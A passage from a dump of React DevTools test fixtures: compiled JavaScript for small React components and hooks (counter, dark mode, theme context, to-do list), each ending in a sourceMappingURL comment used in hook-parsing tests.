{\n  const [count, setCount] = (0, _react.useState)(0);\n  const isDarkMode = useIsDarkMode();\n  const {\n    foo\n  } = useFoo();\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 27,\n      columnNumber: 7\n    }\n  }, \"Foo: \", foo), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const [isDarkMode] = (0, _react.useState)(false);\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return isDarkMode;\n}\n\nfunction useFoo() {\n  (0, _react.useDebugValue)('foo');\n  return {\n    foo: true\n  };\n}\n//# sourceMappingURL=ComponentWithCustomHook.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/index-map/ComponentWithExternalCustomHooks.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireDefault(require(\"react\"));\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nvar _jsxFileName = \"\";\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction Component() {\n  const theme = (0, _useTheme.default)();\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 10\n    }\n  }, \"theme: \", theme);\n}\n//# sourceMappingURL=ComponentWithExternalCustomHooks.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/index-map/ComponentWithMultipleHooksPerLine.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst A = /*#__PURE__*/(0, _react.createContext)(1);\nconst B = /*#__PURE__*/(0, _react.createContext)(2);\n\nfunction Component() {\n  const a = (0, _react.useContext)(A);\n  const b = (0, _react.useContext)(B); // prettier-ignore\n\n  const c = (0, _react.useContext)(A),\n        d = (0, _react.useContext)(B); // eslint-disable-line one-var\n\n  return a + b + c + d;\n}\n//# sourceMappingURL=ComponentWithMultipleHooksPerLine.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/index-map/ComponentWithNestedHooks.js",
    "content": "\"use strict\";\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst {\n  useMemo,\n  useState\n} = require('react');\n\nfunction Component(props) {\n  const InnerComponent = useMemo(() => () => {\n    const [state] = useState(0);\n    return state;\n  });\n  props.callback(InnerComponent);\n  return null;\n}\n\nmodule.exports = {\n  Component\n};\n//# sourceMappingURL=ComponentWithNestedHooks.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/index-map/ContainingStringSourceMappingURL.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\n// ?sourceMappingURL=([^\\s'\"]+)/gm\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 19,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 20,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=ContainingStringSourceMappingURL.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/index-map/Example.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 17,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=Example.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/index-map/InlineRequire.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nfunction Component() {\n  const [count] = require('react').useState(0);\n\n  return count;\n}\n//# sourceMappingURL=InlineRequire.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/index-map/ToDoList.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.ListItem = ListItem;\nexports.List = List;\n\nvar React = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction ListItem({\n  item,\n  removeItem,\n  toggleItem\n}) {\n  const handleDelete = (0, React.useCallback)(() => {\n    removeItem(item);\n  }, [item, removeItem]);\n  const handleToggle = (0, React.useCallback)(() => {\n    toggleItem(item);\n  }, [item, toggleItem]);\n  return /*#__PURE__*/React.createElement(\"li\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 23,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"button\", {\n    onClick: handleDelete,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 24,\n      columnNumber: 7\n    }\n  }, \"Delete\"), /*#__PURE__*/React.createElement(\"label\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"input\", {\n    checked: item.isComplete,\n    onChange: handleToggle,\n    type: \"checkbox\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 9\n    }\n  }), ' ', item.text));\n}\n\nfunction List(props) {\n  const [newItemText, setNewItemText] = (0, React.useState)('');\n  const [items, setItems] = (0, React.useState)([{\n    id: 1,\n    isComplete: true,\n    text: 'First'\n  }, {\n    id: 2,\n    isComplete: true,\n    text: 'Second'\n  }, {\n    id: 3,\n    isComplete: false,\n    text: 'Third'\n  }]);\n  const [uid, setUID] = (0, React.useState)(4);\n  const handleClick = (0, React.useCallback)(() => {\n    if (newItemText !== '') {\n      setItems([...items, {\n        id: uid,\n        isComplete: false,\n        text: newItemText\n      }]);\n      setUID(uid + 1);\n      setNewItemText('');\n    }\n  }, [newItemText, items, uid]);\n  const handleKeyPress = (0, React.useCallback)(event => {\n    if (event.key === 'Enter') {\n      handleClick();\n    }\n  }, [handleClick]);\n  const handleChange = (0, React.useCallback)(event => {\n    setNewItemText(event.currentTarget.value);\n  }, [setNewItemText]);\n  const removeItem = (0, React.useCallback)(itemToRemove => setItems(items.filter(item => item !== itemToRemove)), [items]);\n  const toggleItem = (0, React.useCallback)(itemToToggle => {\n    // Dont use indexOf()\n    // because editing props in DevTools creates a new Object.\n    const index = items.findIndex(item => item.id === itemToToggle.id);\n    setItems(items.slice(0, index).concat({ ...itemToToggle,\n      isComplete: !itemToToggle.isComplete\n    }).concat(items.slice(index + 1)));\n  }, [items]);\n  return /*#__PURE__*/React.createElement(React.Fragment, {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 102,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"h1\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 103,\n      columnNumber: 7\n    }\n  }, \"List\"), /*#__PURE__*/React.createElement(\"input\", {\n    type: \"text\",\n    placeholder: \"New list item...\",\n    value: newItemText,\n    onChange: handleChange,\n    onKeyPress: handleKeyPress,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 104,\n      columnNumber: 7\n    }\n  }), /*#__PURE__*/React.createElement(\"button\", {\n    disabled: newItemText === '',\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 111,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"span\", {\n    role: \"img\",\n    \"aria-label\": \"Add item\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 112,\n      columnNumber: 9\n    }\n  }, \"Add\")), /*#__PURE__*/React.createElement(\"ul\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 116,\n      columnNumber: 7\n    }\n  }, items.map(item => /*#__PURE__*/React.createElement(ListItem, {\n    key: item.id,\n    item: item,\n    removeItem: removeItem,\n    toggleItem: toggleItem,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 118,\n      columnNumber: 11\n    }\n  }))));\n}\n//# sourceMappingURL=ToDoList.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/index-map/index.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nObject.defineProperty(exports, \"ComponentUsingHooksIndirectly\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentUsingHooksIndirectly.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithCustomHook\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithCustomHook.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithExternalCustomHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithExternalCustomHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithMultipleHooksPerLine\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithMultipleHooksPerLine.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithNestedHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithNestedHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ContainingStringSourceMappingURL\", {\n  enumerable: true,\n  get: function () {\n    return _ContainingStringSourceMappingURL.Component;\n  }\n});\nObject.defineProperty(exports, \"Example\", {\n  enumerable: true,\n  get: function () {\n    return _Example.Component;\n  }\n});\nObject.defineProperty(exports, \"InlineRequire\", {\n  enumerable: true,\n  get: function () {\n    return _InlineRequire.Component;\n  }\n});\nObject.defineProperty(exports, \"useTheme\", {\n  enumerable: true,\n  get: function () {\n    return _useTheme.default;\n  }\n});\nexports.ToDoList = void 0;\n\nvar _ComponentUsingHooksIndirectly = require(\"./ComponentUsingHooksIndirectly\");\n\nvar _ComponentWithCustomHook = require(\"./ComponentWithCustomHook\");\n\nvar _ComponentWithExternalCustomHooks = require(\"./ComponentWithExternalCustomHooks\");\n\nvar _ComponentWithMultipleHooksPerLine = require(\"./ComponentWithMultipleHooksPerLine\");\n\nvar _ComponentWithNestedHooks = require(\"./ComponentWithNestedHooks\");\n\nvar _ContainingStringSourceMappingURL = require(\"./ContainingStringSourceMappingURL\");\n\nvar _Example = require(\"./Example\");\n\nvar _InlineRequire = require(\"./InlineRequire\");\n\nvar ToDoList = _interopRequireWildcard(require(\"./ToDoList\"));\n\nexports.ToDoList = ToDoList;\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n//# sourceMappingURL=index.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/index-map/useTheme.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = useTheme;\nexports.ThemeContext = void 0;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst ThemeContext = /*#__PURE__*/(0, _react.createContext)('bright');\nexports.ThemeContext = ThemeContext;\n\nfunction useTheme() {\n  const theme = (0, _react.useContext)(ThemeContext);\n  (0, _react.useDebugValue)(theme);\n  return theme;\n}\n//# sourceMappingURL=useTheme.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/index.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nObject.defineProperty(exports, \"ComponentUsingHooksIndirectly\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentUsingHooksIndirectly.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithCustomHook\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithCustomHook.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithExternalCustomHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithExternalCustomHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithMultipleHooksPerLine\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithMultipleHooksPerLine.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithNestedHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithNestedHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ContainingStringSourceMappingURL\", {\n  enumerable: true,\n  get: function () {\n    return _ContainingStringSourceMappingURL.Component;\n  }\n});\nObject.defineProperty(exports, \"Example\", {\n  enumerable: true,\n  get: function () {\n    return _Example.Component;\n  }\n});\nObject.defineProperty(exports, \"InlineRequire\", {\n  enumerable: true,\n  get: function () {\n    return _InlineRequire.Component;\n  }\n});\nObject.defineProperty(exports, \"useTheme\", {\n  enumerable: true,\n  get: function () {\n    return _useTheme.default;\n  }\n});\nexports.ToDoList = void 0;\n\nvar _ComponentUsingHooksIndirectly = require(\"./ComponentUsingHooksIndirectly\");\n\nvar _ComponentWithCustomHook = require(\"./ComponentWithCustomHook\");\n\nvar _ComponentWithExternalCustomHooks = require(\"./ComponentWithExternalCustomHooks\");\n\nvar _ComponentWithMultipleHooksPerLine = require(\"./ComponentWithMultipleHooksPerLine\");\n\nvar _ComponentWithNestedHooks = require(\"./ComponentWithNestedHooks\");\n\nvar _ContainingStringSourceMappingURL = require(\"./ContainingStringSourceMappingURL\");\n\nvar _Example = require(\"./Example\");\n\nvar _InlineRequire = require(\"./InlineRequire\");\n\nvar ToDoList = _interopRequireWildcard(require(\"./ToDoList\"));\n\nexports.ToDoList = ToDoList;\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n//# sourceMappingURL=index.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/fb-sources-extended/useTheme.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = useTheme;\nexports.ThemeContext = void 0;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst ThemeContext = /*#__PURE__*/(0, _react.createContext)('bright');\nexports.ThemeContext = ThemeContext;\n\nfunction useTheme() {\n  const theme = (0, _react.useContext)(ThemeContext);\n  (0, _react.useDebugValue)(theme);\n  return theme;\n}\n//# sourceMappingURL=useTheme.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/index-map/ComponentUsingHooksIndirectly.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const countState = (0, _react.useState)(0);\n  const count = countState[0];\n  const setCount = countState[1];\n  const darkMode = useIsDarkMode();\n  const [isDarkMode] = darkMode;\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 29,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 30,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const darkModeState = (0, _react.useState)(false);\n  const [isDarkMode] = darkModeState;\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return [isDarkMode, () => {}];\n}\n//# sourceMappingURL=ComponentUsingHooksIndirectly.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/index-map/ComponentWithCustomHook.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  const isDarkMode = useIsDarkMode();\n  const {\n    foo\n  } = useFoo();\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 27,\n      columnNumber: 7\n    }\n  }, \"Foo: \", foo), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const [isDarkMode] = (0, _react.useState)(false);\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return isDarkMode;\n}\n\nfunction useFoo() {\n  (0, _react.useDebugValue)('foo');\n  return {\n    foo: true\n  };\n}\n//# sourceMappingURL=ComponentWithCustomHook.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/index-map/ComponentWithExternalCustomHooks.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireDefault(require(\"react\"));\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nvar _jsxFileName = \"\";\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction Component() {\n  const theme = (0, _useTheme.default)();\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 10\n    }\n  }, \"theme: \", theme);\n}\n//# sourceMappingURL=ComponentWithExternalCustomHooks.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/index-map/ComponentWithMultipleHooksPerLine.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst A = /*#__PURE__*/(0, _react.createContext)(1);\nconst B = /*#__PURE__*/(0, _react.createContext)(2);\n\nfunction Component() {\n  const a = (0, _react.useContext)(A);\n  const b = (0, _react.useContext)(B); // prettier-ignore\n\n  const c = (0, _react.useContext)(A),\n        d = (0, _react.useContext)(B); // eslint-disable-line one-var\n\n  return a + b + c + d;\n}\n//# sourceMappingURL=ComponentWithMultipleHooksPerLine.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/index-map/ComponentWithNestedHooks.js",
    "content": "\"use strict\";\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst {\n  useMemo,\n  useState\n} = require('react');\n\nfunction Component(props) {\n  const InnerComponent = useMemo(() => () => {\n    const [state] = useState(0);\n    return state;\n  });\n  props.callback(InnerComponent);\n  return null;\n}\n\nmodule.exports = {\n  Component\n};\n//# sourceMappingURL=ComponentWithNestedHooks.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/index-map/ContainingStringSourceMappingURL.js",
